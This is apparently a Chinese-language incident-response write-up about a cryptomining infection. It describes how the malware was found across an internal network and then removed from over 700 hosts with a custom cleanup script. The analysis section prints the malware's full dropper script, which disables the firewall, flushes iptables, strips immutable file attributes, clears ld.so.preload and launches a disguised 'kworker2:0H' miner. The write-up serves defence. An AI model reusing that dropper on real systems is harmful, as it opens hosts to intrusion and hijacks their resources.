前期排查
根據態勢感知日志,發現主機外聯挖礦地址89.147.109.125,但是查看外聯進程發現進程對應文件已被刪除。

這里使用一個小技巧 可以將內存中的進程信息保存出來。

在進程中過濾kworker2關鍵字,發現存在異常腳本文件執行,并且在/bin目錄下存在異常文件nuBrWiVa

對腳本文件進行分析
#!/bin/bash
# 刪除當前用戶的 crontab 任務
crontab -r 2>/dev/null
# 禁用 Uncomplicated Firewall
ufw disable 2>/dev/null
# 設置 iptables 防火墻規則,允許所有入站、出站和轉發的流量,清空 iptables 規則
iptables -P INPUT ACCEPT 2>/dev/null
iptables -P OUTPUT ACCEPT 2>/dev/null
iptables -P FORWARD ACCEPT 2>/dev/null
iptables -F 2>/dev/null
# 移除系統文件的不可修改屬性
chattr -i /usr/sbin/ >/dev/null 2>&1
chattr -i /usr/bin/ >/dev/null 2>&1
chattr -i /bin/ >/dev/null 2>&1
chattr -i /usr/lib >/dev/null 2>&1
chattr -i /usr/lib64 >/dev/null 2>&1
chattr -i /usr/libexec >/dev/null 2>&1
chattr -i /etc/ >/dev/null 2>&1
chattr -i /tmp/ >/dev/null 2>&1
chattr -i /sbin/
chattr -i /etc/resolv.conf
chattr -i /etc/cron.d/systeml >/dev/null 2>&1
chattr -i /etc/cron.weekly/systeml >/dev/null 2>&1
chattr -i /etc/cron.hourly/systeml >/dev/null 2>&1
chattr -i /etc/cron.daily/systeml >/dev/null 2>&1
chattr -i /etc/cron.monthly/systeml >/dev/null 2>&1
# 移除 ld.so.preload 文件的不可修改屬性并清空文件內容
chattr -ia /etc/ld.so.preload 2>/dev/null
cat /dev/null > /etc/ld.so.preload 2>/dev/null
# 通過檢查是否存在包含以前文件名的文件,生成或讀取兩個隨機的文件名,并將它們保存在
if [ -e "/usr/lib/systemd/previous_filenames1" ] && [ -e "/usr/lib/systemd/previous_filenames2" ]; then
read -r file1 < "/usr/lib/systemd/previous_filenames1"
read -r file2 < "/usr/lib/systemd/previous_filenames2"
else
file1="/bin/$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
file2="/bin/$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
echo "$file1" > "/usr/lib/systemd/previous_filenames1"
echo "$file2" > "/usr/lib/systemd/previous_filenames2"
fi
mv x86_64 "$file1" 2>/dev/null
mv i386 "$file2" 2>/dev/null
# 設置變量
SERVICE="kworker2:0H"
EXEC="kworker2:0H"
DIR="/tmp"
# 移除某些文件的不可修改、不可刪除、不可設置屬性
chattr -iaus /etc/cron.*/$EXEC /etc/init.d/$EXEC 2>/dev/null
# Check if the process is running
if P=$(pgrep -F /bin/.locked) >> /dev/null; then
echo "Running" && exit
else
echo "Not running"
echo -n > /bin/.locked
# Copy the files to the temporary directory
cp "$file1" "$DIR/$EXEC" 2>/dev/null
cp "$file2" "$DIR/neo" 2>/dev/null
chmod +x "$DIR/$EXEC" 2>/dev/null
chmod +x "$DIR/neo" 2>/dev/null
"$DIR/$EXEC" --tls >/dev/null 2>&1
rm -rf "$DIR/$EXEC"
fi
sleep 2
# Check if the process is running and update the lock file
if P1=$(pgrep "$EXEC") 2>/dev/null; then
echo $P1 > /bin/.locked 2>/dev/null
fi
# Execute the command using the value stored in the lock file
"$DIR/neo" "$(cat /bin/.locked)" 2>/dev/null
/bin/nuBrWiVa
上面的腳本可以知道,會生成固定的文件,這個三個文件的文件名是固定的,其中/bin/.locked文件內容為進程的pid信息
- /usr/lib/systemd/previous_filenames1
- /usr/lib/systemd/previous_filenames2
- /bin/.locked
因為進程中執行的惡意腳本文件對計劃任務文件有進行操作,因此查看計劃任務文件發現,存在惡意計劃任務,定期執行惡意文件/bin/nuBrWiVa

在跟進排查/bin/nuBrWiVa對應的服務信息

后面對劫持,啟動項賬號進行了排查沒有發現其他異常,則開始進行處置。
專殺腳本編寫
處置單個主機十分簡單:停止服務、刪除計劃任務、結束進程、刪除惡意文件即可,但是面對內網近千臺主機,絕對不可能一臺一臺手動處置,因此需要些腳本統一下發處置
后面便是本次應急處置的重點,如何寫專殺腳本進行批量處置
總結病毒特點
1、外聯礦池地址進程:kworker2:0H
2、執行惡意腳本進程:/bin/隨機字符
3、惡意服務:隨機字符.service
4、惡意計劃任務:/etc/cron.d/隨機字符、/etc/cron.daily/隨機字符、/etc/cron.weekly/隨機字符、/etc/cron.hourly/隨機字符、/etc/cron.monthly/隨機字符
5、固定文件:/bin/.locked、/usr/lib/systemd/previous_filenames1、/usr/lib/systenetmd/previous_filenames2
6、隨機生成的文件:/bin/隨機字符(x86_64)、/bin/隨機字符(I386)
在這些特點中,最大的問題是,大量的惡意文件都是隨機字符文件名,后面便開始梳理隨機字符文件的關聯性。
梳理特點關聯性
1、根據/bin/.locked文件中的內容,可以確定外聯進程的PID
2、根據計劃任務的文件內容確定執行惡意腳本的進程;
3、根據惡意腳本進程,確定惡意的服務名稱
分塊編寫代碼
首先確認外聯進程PID,在腳本中加了解掛載的操作,避免進程掛載無法根據PID進行定位。
if [ -e /bin/.locked ]; then
p=$(cat /bin/.locked)
read -ra PID <<< "$p"
for pid_value in "${PID[@]}"; do
echo "[-] Processing PID: $pid_value"
# 執行umount操作
umount -l /proc/$pid_value
# 查找并殺死與PID相關的進程(如果需要的話)
a=$(ps -ef | grep $pid_value | grep "kworker2:0H")
if [ -n "$a" ]; then
kill -9 $pid_value
echo "[+] Evil process with PID $pid_value killed"
fi
done
else
echo "[+] Nothging"
fi
查找惡意計劃任務
-r:匹配文件內容
-l:對應文件名稱
root /bin/.*1 1:惡意計劃任務特征點,由于中間文件名稱為隨機字符,因此使用.*進行正則匹配
evil_cron=($(grep -r -l "root /bin/.*1 1" /etc/cron.*))
for value in "${evil_cron[@]}"; do
echo "[+] evil_cron: $value"
rm -rf $value
echo "[+] evil_cron:$value 已刪除"
done
查找惡意服務,定位惡意服務這里分了3步(重要是的第二步,惡心了我很久)
第一步:通過計劃任務獲得執行惡意腳本的進行名process_name
第二部:過濾process_name定位進程pid,但是這里有坑,因為grep過濾的時候會輸出自己的grep進程,因此這里需要加入grep -v 'grep /bin'把自己的grep進程過濾掉(這里使用awk命令幫助定位到這個關鍵字的),才能得到惡意進程的pid
第三部:根據進程惡意進程pid,找到服務名稱,并stop和disable
process_name=($(grep -rn "root /bin/.*1 1" /etc/cron.* | awk '{print $(NF-2)}'))
echo "[+] process_name: $process_name"
mv "$process_name" /tmp/evil_1112
server_pid=($(ps -ef | grep $process_name | grep -v 'grep /bin' | awk '{print $2}'))
for value in "${server_pid[@]}"; do
echo "[+] server_pid: $value"
done
server_name=($(systemctl status $value | grep "Loaded:" | awk '{print $3}' | awk -F'/' '{print $NF}' | sed 's/;//'))
for value in "${server_name[@]}"; do
echo "[+] server_name: $server_name"
break
done
systemctl stop $server_name
systemctl disable $server_name
server_path=/usr/lib/systemd/system/
rm -rf $server_path$server_name
echo "server deleted"
刪除固定文件,這里比較簡單,就是找指定路徑文件,然后獲取文件內容,根據文件內容,找到對應文件,在進行刪除就行
file_path1="/usr/lib/systemd/previous_filenames1"
if [ -e "$file_path1" ]; then
file_content=$(cat "$file_path1")
echo "File $file_path1 exists, and its content is: $file_content"
mv "$file_content" /tmp/evil_1112
else
echo "File $file_path1 does not exist."
fi
file_path2="/usr/lib/systemd/previous_filenames2"
if [ -e "$file_path2" ]; then
file_content=$(cat "$file_path2")
echo "File $file_path2 exists, and its content is: $file_content"
mv "$file_content" /tmp/evil_1112
else
echo "File $file_path1 does not exist."
fi
整合代碼
這里需要注意,因為定位服務是根據計劃任務中的文件內容進行定位的,因此查找服務的執行順序,必須在查找計劃任務前面,否則服務無法定位
#! /bin/bash
hostname
if [ ! -d "/tmp/evil_1112" ]; then
mkdir /tmp/evil_1112
fi
#查找特征文件并備份
file_path1="/usr/lib/systemd/previous_filenames1"
if [ -e "$file_path1" ]; then
file_content=$(cat "$file_path1")
echo "[+] File $file_path1 exists, and its content is: $file_content"
mv "$file_content" /tmp/evil_1112 2>/dev/null
else
echo "[+] File $file_path1 does not exist."
fi
file_path2="/usr/lib/systemd/previous_filenames2"
if [ -e "$file_path2" ]; then
file_content=$(cat "$file_path2")
echo "File $file_path2 exists, and its content is: $file_content"
mv "$file_content" /tmp/evil_1112 2>/dev/null
else
echo "File $file_path1 does not exist."
fi
#查找服務并停止
process_name=($(grep -rn "root /bin/.*1 1" /etc/cron.* | awk '{print $(NF-2)}' | uniq))
if [ -z "$process_name" ]; then
echo "[+] process name is not exist"
else
echo "[+] process_name: $process_name"
mv "$process_name" /tmp/evil_1112
fi
evil_process=$(ps -ef | grep -E " /bin/\w+{8}" | awk '{print $8}' | uniq)
if [ -z "$evil_process" ]; then
echo "[+] evil process is not running"
else
if [[ "$evil_process" == "$process_name" ]]; then
echo "[+] evil process $evil_process is running"
server_pid=($(ps -ef | grep $process_name | grep -v 'color' | awk '{print $2}'))
for value in "${server_pid[@]}"; do
echo "[+] evil server_pid: $value"
done
server_name=($(systemctl status $value | grep "Loaded: loaded" | awk '{print $3}' | awk -F'/' '{print $NF}' | sed 's/;//'))
for value in "${server_name[@]}"; do
echo "[+] evil server_name: $server_name"
break
done
systemctl stop $server_name
systemctl disable $server_name
server_path=/usr/lib/systemd/system/
rm -rf $server_path$server_name
echo "[+] evil server deleted"
else
echo "[+] evil process is not running"
fi
fi
#查找計劃任務并刪除
evil_cron=($(grep -r -l "root /bin/.*1 1" /etc/cron.*))
for value in "${evil_cron[@]}"; do
echo "[+] evil cron: $value"
rm -rf $value
echo "[+] evil cron:$value deleted"
done
#查找外聯進程并kill
if [ -e /bin/.locked ]; then
p=$(cat /bin/.locked)
read -ra PID <<< "$p"
for pid_value in "${PID[@]}"; do
echo "[-] Processing PID: $pid_value"
# 執行umount操作
umount -l /proc/$pid_value 2>/dev/null
# 查找并殺死與PID相關的進程(如果需要的話)
a=$(ps -ef | grep $pid_value | grep "kworker2")
if [ -n "$a" ]; then
kill -9 $pid_value
echo "[+] Evil process with PID $pid_value killed"
fi
done
else
echo "[+] Nothging"
fi
最后通過堡壘機批量下發,成功處置700多臺機器

Anna艷娜
ManageEngine卓豪
FreeBuf
X0_0X
Andrew
Andrew
007bug
安全俠
Anna艷娜
FreeBuf
虹科網絡安全